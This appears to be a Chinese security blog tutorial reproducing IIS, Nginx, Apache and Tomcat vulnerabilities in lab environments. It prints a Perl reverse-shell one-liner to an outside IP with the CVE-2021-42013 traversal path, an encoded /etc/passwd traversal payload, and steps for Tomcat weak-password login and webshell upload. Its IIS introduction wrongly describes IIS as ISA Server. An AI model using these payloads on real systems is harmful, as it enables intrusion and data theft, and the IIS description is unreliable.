服务攻防-中间件安全&CVE复现&IIS&Apache&Tomcat&Nginx漏洞复现

  • Post author:
  • Post category:其他



目录


一、导图


二、ISS漏洞


中间件介绍>


1、短文件


2、文件解析


3、HTTP.SYS


4、cve-2017-7269


三、Nignx漏洞


中间件介绍>


1、后缀解析漏洞


2、cve-2013-4547


3、cve-2021-23017 无 EXP


4、cve-2017-7529 意义不大


四、Apache漏洞


中间件介绍>


1、漏洞版本简介


2、cve-2021-42013


3、cve-2021-41773


4、cve-2017-15715


5、cve-2017-9798


6、cve-2018-11759


7、cve-2021-37580


四、Tomcat漏洞


中间件介绍>


1、弱口令猜解


2、cve-2017-12615


3、cve-2020-1938


4、cve-2020-11996


5、cve-2020-9484



一、导图


二、ISS漏洞


<ISS中间件介绍>

ISS中间件(Internet Security and Acceleration Server Middleware)是微软公司推出的一种安全中间件,旨在提供高效的安全代理服务和网络加速功能。它是Microsoft Proxy Server和Microsoft Firewall产品的继承者,也是Microsoft Forefront TMG(Threat Management Gateway)的前身。

ISS中间件主要提供以下功能:

  • 安全代理服务:ISS中间件可以作为代理服务器,将内部网络和Internet隔离开来,有效防止内部网络遭受外部攻击和入侵。
  • 访问控制:ISS中间件可以实现灵活的访问控制,根据用户身份、时间、来源IP等多种因素对网络访问进行限制,保护网络安全。
  • 内容过滤:ISS中间件可以对网络流量进行内容过滤,过滤掉不安全的网站和内容,有效避免恶意软件和垃圾邮件等网络威胁。
  • 网络加速:ISS中间件可以对网络流量进行缓存和压缩,加快网络访问速度,提高用户体验。

需要注意的是,由于Microsoft Forefront TMG已经停止开发和支持,因此ISS中间件也已经成为一种过时的技术。

ISS这个中间件是Windows上的一个中间件,由于现在的网络环境的情况,ISS这个中间件的使用率已经非常少了,一方面是Windows的份额减少了,另一方面是大部分的web程序使用php、java居多,但是ISS这个中间件在部分情况下不支持,虽然其支持php,但是在php方面使用apache的比较多,所以使用ISS的一般都是一些比较老牌的源码,但是其使用量在变得越来越少了,所以其上面的安全问题就变得越来越少,我们碰到的机率也是越来越小了。



1、

短文件

信息收集。

2、文件解析

还有点用,但是用处不大。


3、

HTTP.SYS

蓝屏崩溃。

4、cve-2017-7269

条件过老。


三、Nignx漏洞


<Nignx中间件介绍>

Nginx是一个高性能、高可靠性的HTTP和反向代理服务器,也可以用作电子邮件代理服务器、TCP代理服务器等。Nginx采用事件驱动的异步架构和轻量级的内存占用,能够处理高并发的网络请求,并且具有高度的可扩展性和灵活性。以下是Nginx的一些主要特点和用途:

  1. 高性能:Nginx采用异步非阻塞的IO模型和高效的事件处理机制,可以快速地处理大量的并发请求。

  2. 可靠性:Nginx在设计时考虑到了故障恢复和容错处理机制,保证了系统的可靠性和稳定性。

  3. 反向代理:Nginx可以作为反向代理服务器,将客户端请求转发到后端的应用程序服务器,实现负载均衡和高可用性。

  4. 静态文件服务:Nginx可以快速地响应静态文件请求,支持文件缓存和gzip压缩,提高了网站的响应速度。

  5. 动态内容处理:Nginx可以通过FastCGI、uWSGI等协议与后端的应用程序服务器进行通信,实现动态内容的处理和渲染。

  6. 安全性:Nginx提供了多种安全功能,如SSL/TLS协议支持、HTTP访问控制、DDoS攻击防御等。

  7. 高可扩展性:Nginx支持模块化的设计,可以通过编写自定义模块来扩展其功能。

由于其高性能、可靠性和灵活性,Nginx已经成为了广泛使用的服务器软件之一,被广泛用于Web应用、移动应用、物联网、云计算等领域。


1、

后缀解析漏洞


配置不当:该漏洞与 Nginx





php


版本无关,属于用户配置不当造成的解析漏洞。

启动漏洞环境。

打开环境对应的网址。

上传一张图片,抓取数据包,可以看到其中间件版本以及文件存储路径。

通过上面数据包的内容可知其在漏洞的影响范围内。

我们可以首先将文件的路径输入到url后面来观察文件是否存在,可以看到文件确实被上传上去了。

正常来说我们上传的是png图片,是不可能执行处php效果的,但是因为此版本存在漏洞,只需要在url末尾加上一个随便的以php为后缀名的文件,就可以将上传的png内的php代码执行出来。

上传一个图片马后将url更改成下面的样式,可以看到成功将php代码执行了出来。

2、cve

-2013-4547

这个漏洞其实和代码执行没有太大关系,其主要原因是错误地解析了请求的URI,错误地获取到用户请求的文件名,导致出现权限绕过、代码执行的连带影响。


影响版本:Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7

将靶场环境启动。

访问靶场页面。

上传文件抓取数据包可以看到其中间件的版本在漏洞的影响范围内。

将数据包更改成下面的样式后放包(注意1.jpg后面的空格)。

可以看到文件成功上传上去了。

访问上传地址,发现访问不到,因为我们加了空格。

我们抓取数据包,将数据包内的内容做出下面的修改。

此时发送数据包后可以看到右面成功执行出了php代码。

3、

cve-2021-23017





EXP

4、

cve-2017-7529


意义不大


四、


Apache漏洞


<

Apache

中间件介绍>

Apache是一款开源的跨平台Web服务器软件,具有高度的可靠性、灵活性和可扩展性,是目前全球应用最为广泛的Web服务器软件之一。以下是Apache的一些主要特点和用途:

  1. 可靠性:Apache在设计时考虑到了故障恢复和容错处理机制,能够自动检测并处理运行中出现的故障,提高了系统的可靠性和稳定性。

  2. 可扩展性:Apache具有模块化的设计,可以通过编写自定义模块来扩展其功能,可以根据需要添加或删除模块,提高了软件的灵活性和可扩展性。

  3. 高性能:Apache采用多线程或多进程的架构,可以同时处理多个并发请求,提高了系统的处理能力和性能。

  4. 安全性:Apache提供了多种安全功能,如SSL/TLS协议支持、HTTP访问控制、DDoS攻击防御等,保障了系统的安全性和稳定性。

  5. 反向代理:Apache可以作为反向代理服务器,将客户端请求转发到后端的应用程序服务器,实现负载均衡和高可用性。

  6. 动态内容处理:Apache可以通过FastCGI、uWSGI等协议与后端的应用程序服务器进行通信,实现动态内容的处理和渲染。

  7. 静态文件服务:Apache可以快速地响应静态文件请求,支持文件缓存和gzip压缩,提高了网站的响应速度。

由于其可靠性、灵活性和可扩展性,Apache被广泛用于Web应用、移动应用、物联网、云计算等领域,是目前应用最广泛的Web服务器软件之一。



1、漏洞版本简介


Apache HTTP Server 是美国阿帕奇(


Apache


)基金会的一款开源网页服务器。该服

务器具有快速、可靠且可通过简单的


API


进行扩充的特点,发现


Apache HTTP

Server 2.4.50


中针对


CVE-2021-41773


的修复不够充分。攻击者可以使用路径遍

历攻击将


URL


映射到由类似别名的指令配置的目录之外的文件。如果这些目录之外的文

件不受通常的默认配置





要求全部拒绝





的保护,则这些请求可能会成功。如果还为这些别

名路径启用了


CGI


脚本,则这可能允许远程代码执行。此问题仅影响


Apache

2.4.49





Apache 2.4.50


,而不影响更早版本。

2、

cve-2021-42013


  • RCE
找到对应漏洞将其环境启动。

访问靶场地址。

抓取数据包可以看到其版本。

生成一个perl将其复制出来。

echo;perl -e 'use 
Socket;$i="47.94.236.117";$p=5566;socket(S,PF_INET,SOCK_STREAM,ge
tprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i))))
{open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/b
in/sh -i");};'

监听反弹的端口。

使用post请求访问,抓取数据包,将数据包更改成下面的样式。

请求地址:
POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh

放包之后发现成功接收到了反弹。

验证发现其可以成功执行命令。

3、

cve-2021-41773


  • 目录穿越

  • Apache HTTP Server 2.4.49





    2.4.50 版本对路径规范化所做的更改中存在一个路 径穿越漏洞,攻击者可利用该漏洞读取到


    Web 目录外的其他文件,如系统配置文件、网 站源码等,甚至在特定情况下,攻击者可构造恶意请求执行命令,控制服务器。

将靶场环境启动。

访问靶场地址,可以看到其版本在漏洞影响范围内。

抓取数据包后将数据包内的地址修改成下面的样式。

/icons/.%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/
passwd

放包后可以看到其所有的密码信息。

我们可以通过更改url末尾的路径来实现任意文件访问。

4、

cve-2017-15715


  • 文件解析
  • Apache HTTPD 是一款 HTTP 服务器。其 2.4.0~2.4.29 版本存在一个解析漏洞,在解




    PHP


    时,


    1.php\x0A


    将被按照


    PHP


    后缀进行解析,导致绕过一些服务器的安全策

    略。

将靶场环境启动。

访问漏洞地址

抓包可以确定其符合漏洞版本。

上传一个图片文件后抓取数据包。

将数据包更改成下面的样式,放包后发现被拦截了。

首先在php的后面加一个空格。

找到对应位置将其改成0a。

此时再次放包后可以发现没有被拦截,文件成功被上传了上去。

我们访问1.php发现访问不到。

我们抓取数据包。

在如图所示的位置加上一个%0a,发现就可以正常访问了。

5、cve-2017-9798

价值不高。

6、cve-2018-11759

价值不高。

7、cve-2021-37580

插件问题。


四、

Tomcat漏洞


<

Tomcat

中间件介绍>

Tomcat是一款开源的Web应用服务器软件,是Apache软件基金会的一个开源项目,其主要用途是运行Java Servlet和Java Server Pages(JSP)程序。以下是Tomcat的一些主要特点和用途:

  1. 轻量级:Tomcat相对于其他的Web服务器软件而言,是一款轻量级的软件,它的安装和配置比较简单,适合中小型企业和个人使用。

  2. Java EE支持:Tomcat可以支持Java EE规范中的一些关键组件,如Servlet、JSP、WebSocket等,方便开发人员进行Java Web应用程序的开发和部署。

  3. 可扩展性:Tomcat支持通过编写自定义的Servlet和Filter等组件来扩展其功能,可以根据需要添加或删除组件,提高了软件的灵活性和可扩展性。

  4. 安全性:Tomcat提供了多种安全功能,如SSL/TLS协议支持、访问控制、身份认证等,保障了Web应用程序的安全性和稳定性。

  5. 高性能:Tomcat采用多线程的架构,可以同时处理多个并发请求,提高了系统的处理能力和性能。

  6. 管理界面:Tomcat提供了一个Web管理界面,可以通过浏览器对服务器进行配置、管理和监控。

  7. 兼容性:Tomcat与其他Java EE服务器(如JBoss、WebLogic等)兼容性良好,可以与其它应用服务器无缝集成。

由于其轻量级、可扩展性和Java EE支持等特点,Tomcat被广泛用于Web应用程序的开发和部署,是Java Web开发中最受欢迎的Web服务器软件之一。



1、弱口令猜解

  • 配置不当导致后台弱口令,可通过上传jsp压缩包改名的war拿shell。
找到对应的靶场环境,并将靶场的环境给启动起来。

打开靶场对应的网站地址。

点击下图所示的位置。

进入到了其后台管理的地方,可以看到需要输入账号和密码(其网站的地址为默认的,可以通过直接访问下图中的url来进行尝试)。

我们使用常见的默认账号密码来进行尝试登录,如果没有登录成功,则可以使用爆破工具来对其进行爆破,如burp suite等。

这里尝试使用tomcat用户名和密码来尝试进行登录。

登录后看到下面的页面就说明登录成功了。

进入到这里我们就可以取得网站权限了,此时上传一个jsp后门即可,但是其不能直接对其进行解析,就需要我们使用war包来进行解析,下面来介绍如何制作war包。

打开哥斯拉等工具来生成一个马。

点击生成之后选择jsp,然后点击确定。

选择保存路径后将其保存。

将生成的文件进行压缩。

压缩之后将其后缀名更改为war。

将修改号文件上传上去。

此时可以看到我们上传的文件。

访问这个地址,会返回404错误。

此时只需要在url后面将文件名给添加上去即可,访问后得到空白页面就是我们想要的结果。


来到哥斯拉内完成下面的配置之后点击“测试连接” 。

可以看到测试成功。

此时点击“添加”即可。

点击“进入”。

可以看到我们成功进入了网站的后台。

2、cve-2017-12615

  • 文件上传
  • 当存在漏洞的Tomcat运行在Windows/Linux主机上,且启用了HTTP PUT请求方法(例如,将readonly初始化参数由默认值设置为false),攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包合任意代码的JSP的webshell文件,JSP文件中的恶意代码将能被服务器执行,导致服务器上的数据泄露或获取服务器权限。
  • 影响版本:Apache Tomcat 7.0.0-7.0.79

启动漏洞环境。

访问漏洞网站可以看到下面的页面。

访问下面的页面。

抓取数据包。

将数据包更改成下面的样式。

放包后可以看到返回了201,即创建了一个返回状态码。

再次访问,发现页面存在了。

此时使用哥斯拉进行连接即可,与上面的流程一样,这里就不再进行介绍了。

3、cve-2020-1938

  • 文件读取
  • Apache TomcatAJP协议(默认8009端口)由于存在实现缺陷导致相关参数可控,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp目录下的任意文件。若服务器端同时存在文件上传功能,攻击者可进一步结合文件包含实现远程代码的执行。
  • 影响版本:
Tomcat 6.*
Tomcat 7.*< 7.0.100
Tomcat 8.*< 8.5.51
Tomcat 9. < 9.0.31

启动漏洞环境。

使用网上下载的exp执行下面的命令来尝试文件读取,可以看到读取成功了。

4、cve-2020-11996

  • 拒绝服务
  • 危害过大,权限无关,意义不大。

5、cve-2020-9484

  • 反序列化
  • 条件苛刻,意义不大。



版权声明:本文为weixin_62808713原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。